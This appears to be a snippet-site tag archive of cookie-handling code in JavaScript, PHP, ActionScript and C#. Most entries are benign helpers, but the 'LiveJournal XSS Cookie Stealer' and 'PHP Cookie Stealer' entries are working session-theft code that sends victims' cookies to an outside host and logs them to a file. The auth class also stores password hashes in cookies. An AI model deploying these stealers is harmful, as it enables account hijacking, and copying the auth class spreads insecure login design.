Tag Archive for cookie

jsCookies – my simple easy pure js javascript cookies function

//  create my jsCookies function
var jsCookies = {

	// this gets a cookie and returns the cookies value, if no cookies it returns blank ""
	get: function(c_name) {
		if (document.cookie.length > 0) {
			var c_start = document.cookie.indexOf(c_name + "=");
			if (c_start != -1) {
				c_start = c_start + c_name.length + 1;
				var c_end = document.cookie.indexOf(";", c_start);
				if (c_end == -1) {
					c_end = document.cookie.length;
				}
				return unescape(document.cookie.substring(c_start, c_end));
			}
		}
		return "";
	},

	// this sets a cookie with your given ("cookie name", "cookie value", "good for x days")
	set: function(c_name, value, expiredays) {
		var exdate = new Date();
		exdate.setDate(exdate.getDate() + expiredays);
		document.cookie = c_name + "=" + escape(value) + ((expiredays == null) ? "" : "; expires=" + exdate.toUTCString());
	},

	// this checks to see if a cookie exists, then returns true or false
	check: function(c_name) {
		c_name = jsCookies.get(c_name);
		if (c_name != null && c_name != "") {
			return true;
		} else {
			return false;
		}
	}

};
// end my jsCookies function

// USAGE - get    ::   jsCookies.get("cookie_name_here");  [returns the value of the cookie]
// USAGE - set    ::   jsCookies.set("cookie_name", "cookie_value", 5 );  [give name, val and # of days til expiration]
// USAGE - check  ::   jsCookies.check("cookie_name_here");  [returns only true or false if the cookie exists or not]

source

Authentication class using cookies or sessions

<?php
/*
#
#        Copyright Iulian Ciobanu (CIGraphics) 2009
#        Email: <a href="mailto:cigraphics@gmail.com">cigraphics@gmail.com</a>
#        Please leave the copyright and email intact.
#

# DATABASE TABLE:

CREATE TABLE `users` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `user` varchar(200) NOT NULL,
  `password` varchar(40) NOT NULL,
  `email` varchar(200) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 ROW_FORMAT=DYNAMIC;

# LETS INSERT SOME DATA FOR TESTING PURPOSES:
INSERT INTO `users` (`id`, `user`, `password`, `email`) VALUES (1, 'user', '20ccbe71c69cb25e4e0095483cb63bd394a12b23', '<a href="mailto:user@email.com">user@email.com</a>');

# FOR TESTING PURPOSES:
The user is: user
The password is: 123456

# USAGE:

$auth = new Auth('database', 'user', 'password', 'host'); // This must be placed at the top of your document you don't need to start the session this script will do it.
$auth->type = session or cookie; // If you want to use sessions you don't need to write it else write cookie.
$auth->emailAuth = false or true; // If you want users to login with email instead of username set it to true or don't write this because is set to false by default
$auth->minval = integer; // The minimum chars for username. Write this only if you want to change the value because it's set by default 6.
$auth->maxval = integer; // The maximum chars for username. Write this only if you want to change the value because it's set by default 22.
$auth->minpass = integer; // The minimum chars for password. Write this only if you want to change the value because it's set by default 6.
$auth->salt = 'LOTS OF CHARS OF ANY TYPE'; // Change this. This is for security hashing. I strongly recommed to change this in the script or write this with other random chars.

$auth->login($user, $password); // Place this in the part where you get the post vars from your login forms

$auth->logout(); // Place this after $auth = new Auth(..) or if you setup type and emailAuth place it below them. Like in example. If you add it without that then you will never be able to login

$auth->error(); // Place this in your document. This function will display the errors from validation and other like mysql errors.



*/
class Auth {
    
    var $type = 'cookie';
    private $connection;
    private $errors = array();
    var $minval = 6;
    var $maxval = 22;
    var $minpass = 6;
    var $salt = '#@()DIJK#)(F#&*()DS#@JKS)@(I()#@DU)*(&@#)(#U)J';
    var $emailAuth = false;
    
    function __construct($db, $user, $pass, $host) {
        if ( $this->type == 'session' ) {
            session_start();
        }
        $this->mysqlconnect($user, $pass, $host);
        $this->mysqldb($db);
        $this->check();
    }
    
    private function mysqlconnect($user, $pass, $host) {
        $conn = @mysql_connect($host, $user, $pass);
        if ( !$conn ) {
            die('There is a problem with your mysql connection');
        } else {
            $this->connection = $conn;
        }
    }
    
    private function mysqldb($db) {
        if ( !@mysql_select_db($db, $this->connection) ) {
             die('The database doesn't exist');
        }
        
    }
    
    private function query($sql) {
        $result = @mysql_query($sql, $this->connection);
        if ( !$result ) {
            $this->errors[] = 'SQL Error';
        } else {
            return $result;
        }
    }
    
    private function fobj($result) {
        return mysql_fetch_object($result);
    }
    
    private function fnum($result) {
        return mysql_num_rows($result);
    }
    
    private function fescape($value) {
        return mysql_real_escape_string($value);
    }
    
    public function login($user, $pass) {
        $email = $this->emailAuth;
        $err = false;
        $user = strtolower($user);
        $password = $this->encrypt($pass);
        if ( $email == true ) {
            if ( !$this->email($user) ) {
                $this->errors[] = 'Email invalid.';
                $err = true;
            } else {
                $col = 'email';
            }
        } else {
            if ( !$this->name($user) ) {
                $this->errors[] = 'Name invalid. Min chars: '.$this->minval.'. Max chars: '.$this->maxval;
                $err = true;
            } else {
                $col = 'user';
            }
        }
        if ( strlen($pass) < $this->minpass ) {
            $this->errors[] = 'Password min value is 6 chars.';
            $err = true;
        }
        
        if ( $err == false ) {
            
            $sql = sprintf("SELECT * FROM users WHERE %s = '%s'", $col, $this->fescape($user));
            $result = $this->query($sql);
            if ( $this->fnum($result) == 0 ) {
                $this->errors[] = ucfirst($col).' doesn't exist.';
            } else {
                $row = $this->fobj($result);
                if ( $row->password == $password ) {
                    if ( $this->type == 'session' ) {
                        $this->set_session($col, $user);
                        $this->set_session('password', $password);
                    } elseif ( $this->type == 'cookie' ) {
                        $this->set_cookie($col, $user);
                        $this->set_cookie('password', $password);
                    }
                    header('Location: ./auth.php');
                } else {
                    $this->errors[] = 'Incorrect password';
                }
            }
                        
        }
    }
    
    private function encrypt($value) {
        $enc = md5($this->salt.md5($value));
        return sha1($enc);
    }
    
    // Email validation
    private function email($email) {
        $reg = "#^(((([a-zd][.-+_]?)*)[a-z0-9])+)@(((([a-zd][.-_]?){0,62})[a-zd])+).([a-zd]{2,6})$#i";
        if ( !preg_match($reg, $email) ) {
            return false;
        } else {
            return true;
        }
    }
    
    // Name validation
    private function name($name) {
        $min = $this->minval - 2;
        if ( !preg_match("#^[a-z][da-z_]{".$min.",".$this->maxval."}[a-zd]$#i", $name) ) {
            return false;
        } else {
            return true;
        }
    }
    
    private function set_session($name, $value) {
        $_SESSION[$name] = $value;
    }
    
    private function destroy_session() {
        session_unset();
        session_destroy();
    }
    
    private function set_cookie($name, $value, $time = 3600 ) {
        setcookie($name, $value, time()+$time, '/');
    }
    
    private function destroy_cookie($name) {
        setcookie($name, '', time()-1, '/');
    }
    
    public function logout() {
        if ( $this->emailAuth == false ) {
            $col = 'user';
        } else {
            $col = 'email';
        }
        if ( $this->type == 'session' ) {
            $this->destroy_session();
        } elseif ( $this->type == 'cookie' ) {
            $this->destroy_cookie('password');
            $this->destroy_cookie($col);
        }
        header ( 'Location: ./auth.php' );
    }
    
    private function check() {
        if ( $this->emailAuth == false ) {
            $col = 'user';
        } else {
            $col = 'email';
        }
        if ( $this->type == 'cookie' ) {
            if ( isset($_COOKIE['password']) ) {
                $sql = sprintf("SELECT * FROM users WHERE %s = '%s'", $col, $this->fescape($_COOKIE[$col]) );
                $result = $this->query($sql);
                $row = $this->fobj($result);
                if ( $row->{$col} !== $_COOKIE[$col] || $row->password !== $_COOKIE['password'] ) {
                    $this->logout();
                }
            } 
        } elseif ( $this->type == 'session' ) {
            if ( isset($_SESSION['password']) ) {
                $sql = sprintf("SELECT * FROM users WHERE %s = '%s'", $col, $this->fescape($_SESSION[$col]) );
                $result = $this->query($sql);
                $row = $this->fobj($result);
                if ( $row->{$col} !== $_SESSION[$col] || $row->password !== $_SESSION['password'] ) {
                    $this->logout();
                }
            }
        }
    }
    
    public function error() {
        if ( is_array($this->errors) && !empty($this->errors) ) {
            echo '<div style="border:1px solid #CCC; background-color:#FAFAFA; color:#FF0000">';
            foreach ( $this->errors as $value ) {
                echo $value."<br />";
            }
            echo '</div>';
        }
    }
    
    public function isLoggedIn() {
        $ret = false;
        if ( $this->emailAuth == false ) {
            $col = 'user';
        } else {
            $col = 'email';
        }
        if ( $this->type == 'cookie' ) {
            if ( isset($_COOKIE['password']) ) {
                $ret = true;
            }
        } elseif ( $this->type == 'session' ) {
            if ( isset($_SESSION['password']) ) {
                $ret = true;
            }
        }
        return $ret;
    }
    
}
?>





Example:
login.php
<?php
include 'class_auth.php';
$auth = new Auth('database', 'user', 'password', 'host'); // This order: Database User Password Host

if ( isset($_GET['logout']) ) {
    $auth->logout();
}

if ( isset($_POST['login']) ) {
    $auth->login($_POST['user'], $_POST['pass']); // This order: User/Email Password True/False (if you want to use email as auth
}
?>

HERE HTML STUFF

<?php if ( $auth->isLoggedIn() ) : ?>
<h1>Welcome</h1>
<a href="<?=$_SERVER['PHP_SELF'];?>?logout=true">Logout</a>
<?php else : ?>
<h1>Please login</h1>
<form action="<?=$_SERVER['PHP_SELF'];?>?auth" method="post">
    <input type="text" name="user" /> User/Email<br />
  <input type="password" name="pass" /> Password<br />
  <input type="submit" name="login" value="Login" />
</form>
<?php $auth->error(); endif; ?>

source

LiveJournal XSS Cookie Stealer

<script>
new Image().src="http://jehiah.com/_sandbox/log.cgi?c="+encodeURI(document.cookie);
</script>

<!-- or -->

<style>
.getcookies{background-image:url('javascript:new Image().src="http://jehiah.com/_sandbox/log.cgi?c="+encodeURI(document.cookie);');}
</style>
<p class="getcookies"></p>

source

PHP Cookie Stealer

<?php
/*
* Created on 16. april. 2007
* Created by Audun Larsen (audun@munio.no)
*
* Copyright 2006 Munio IT, Audun Larsen
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
* OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

if(strlen($_SERVER['QUERY_STRING']) > 0) {
$fp=fopen('./cookies.txt', 'a');
fwrite($fp, urldecode($_SERVER['QUERY_STRING'])."
");
fclose($fp);
} else {
?>

var ownUrl = 'http://<?php echo $_SERVER['HTTP_HOST']; ?><?php echo $_SERVER['PHP_SELF']; ?>';

// ====================================================================
//       URLEncode and URLDecode functions
//
// Copyright Albion Research Ltd. 2002
// <a href="http://www.albionresearch.com/" >http://www.albionresearch.com/</a>
//
// You may copy these functions providing that
// (a) you leave this copyright notice intact, and
// (b) if you use these functions on a publicly accessible
//     web site you include a credit somewhere on the web site
//     with a link back to <a href="http://www.albionresearch.com/" >http://www.albionresearch.com/</a>
//
// If you find or fix any bugs, please let us know at albionresearch.com
//
// SpecialThanks to Neelesh Thakur for being the first to
// report a bug in URLDecode() - now fixed 2003-02-19.
// And thanks to everyone else who has provided comments and suggestions.
// ====================================================================
function URLEncode(str)
{
// The Javascript escape and unescape functions do not correspond
// with what browsers actually do...
var SAFECHARS = "0123456789" +					// Numeric
"ABCDEFGHIJKLMNOPQRSTUVWXYZ" +	// Alphabetic
"abcdefghijklmnopqrstuvwxyz" +
"-_.!~*'()";					// RFC2396 Mark characters
var HEX = "0123456789ABCDEF";

var plaintext = str;
var encoded = "";
for (var i = 0; i < plaintext.length; i++ ) {
var ch = plaintext.charAt(i);
if (ch == " ") {
encoded += "+";				// x-www-urlencoded, rather than %20
} else if (SAFECHARS.indexOf(ch) != -1) {
encoded += ch;
} else {
var charCode = ch.charCodeAt(0);
if (charCode > 255) {
alert( "Unicode Character '"
+ ch
+ "' cannot be encoded using standard URL encoding.
" +
"(URL encoding only supports 8-bit characters.)
" +
"A space (+) will be substituted." );
encoded += "+";
} else {
encoded += "%";
encoded += HEX.charAt((charCode >> 4) & 0xF);
encoded += HEX.charAt(charCode & 0xF);
}
}
} // for

return encoded;
};

cookie = URLEncode(document.cookie);
html = '<img src="'+ownUrl+'?'+cookie+'">';
document.write(html);

< ?php
}
?>

source

Validate Facebook Connect Cookie

function _validateFBConnectCookie(){
$params = array();
$apiKey = Configure::read('Settings.fb_api_key');

foreach($_COOKIE as $key=>$value){

if( strpos($key, $apiKey.'_') === 0 ){

$paramName = substr($key, strlen($apiKey)+1);

$params[$paramName] = $value;
}
}
ksort($params);
$secret = Configure::read('Settings.fb_secret');
$str = '';
foreach($params as $key=>$value){
$str .= $key.'='.$value;
}

$calculatedSig = md5($str.$secret  );

if(!empty($_COOKIE[$apiKey] ) && $_COOKIE[$apiKey] === $calculatedSig){
return true;
}
return false;
}

source

Basic Local SharedObject

import flash.net.SharedObject;

var so:SharedObject = SharedObject.getLocal("userData");

so.data.username= "user1377";
so.data.uid= new Number(1337);

// create object to store data
var obj:Object = new Object();
obj.prop = "value";

so.data.userobj= obj; // store custom object in SharedObject

so.flush(); // writes changes to disk

source

WordPress specific template for first visit (and writes a cookie)

<?php
/*
Plugin Name: first-visit-template
Description: Loads a welcome.php template in theme directory if it is the first visit (the function is not lauched if you're logged as admin), and writes a cookie so it's shown only once.
Author: G.Lachance
Author URI: <a href="http://tinyurl.com/9wb48o" >http://tinyurl.com/9wb48o</a>
Credits: Based upon the "Welcome Visitor! Reloaded" plugin from  Alaeddin, which is largely based upon the original Welcome Visitor! plugin by Kaf (http://guff.szub.net/2006/04/12/welcome-visitor/)
which was released under the GNU General Public License.
Version: 1

*/

//for testing your template, uncomment line 30.


function welcome_visitor_reloaded() {

if(is_new_visitor()) {
$tpl_file = TEMPLATEPATH . '/welcome.php';
if ( file_exists($tpl_file) ) {
include($tpl_file);
exit;
}
}
}

function is_new_visitor()
{

//return true; //uncomment this for testing.

global $visits;

if (!is_admin())
{
if (isset($_COOKIE['visits']))
$visits = $_COOKIE['visits'] + 1;
else
$visits = 1;

$url = parse_url(get_option('home'));
setcookie('visits', $visits, time()+60*60*24*365, $url['path'] . '/');
}
else return false;

return $visits == 1;
}

///
add_action('template_redirect', 'welcome_visitor_reloaded');


?>

source

Delete and Set Cookies with CodeIgniter

$cookie = array(
'name'   => 'loggedin',
'value'  => 'yes',
'expire' => '86500',
'domain' => '.apol0829.dev',
'prefix' => 'apollidon_'
);
set_cookie($cookie);


$cookie = array(
'name'   => 'loggedin',
'value'  => '',
'expire' => '0',
'domain' => '.apol0829.dev',
'prefix' => 'apollidon_'
);
delete_cookie($cookie);

source

JavaScript Cookie Management Class

var JSCookies = {

defaults: {
expiryDays: 7
},

createCookie: function(name, value, days) {
if (!days) {
days = this.defaults.expiryDays;
} else {}

date = new Date();
date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
expires = "; expires=" + date.toGMTString();

document.cookie = name + "=" + value + expires + "; path=/";

return {"name": name, "value": value};
},

readCookie: function(name) {
nameEQ = name + "=";
ca = $A(document.cookie.split(";"));
for (i = 0; i < ca.length; i++) {
c = ca[i];
while (c.charAt(0) == " ") {
c = c.substring(1, c.length);
}
if (c.indexOf(nameEQ) == 0) {
return c.substring(nameEQ.length, c.length);
} else {}
}
return "";
},

eraseCookie: function(name) {
this.createCookie(name, "", -1);
return {"name": name, "value": null};
}
};

JSCookies.createCookie("name", "value");


//next page
alert(JSCookies.readCookie("name"));

source

Check for Cookie Acceptance

// on the master page or default page
protected void Page_Load(object sender, EventArgs e)
{
// check for a cookie indicating cookie acceptance
HttpCookie tokenCookie = Request.Cookies["AcceptsCookies"];
if (tokenCookie == null)
{
tokenCookie = new HttpCookie("AcceptsCookies", "true");
tokenCookie.Expires = DateTime.Now.AddYears(1000);
Response.Cookies.Add(tokenCookie);
Response.Redirect("~/CheckCookies.aspx");
}
}

// on the CheckCookies.aspx page
protected void Page_Load(object sender, EventArgs e)
{
HttpCookie tokenCookie = Request.Cookies["AcceptsCookies"];
if (tokenCookie != null)
Response.Redirect("Default.aspx");
}

source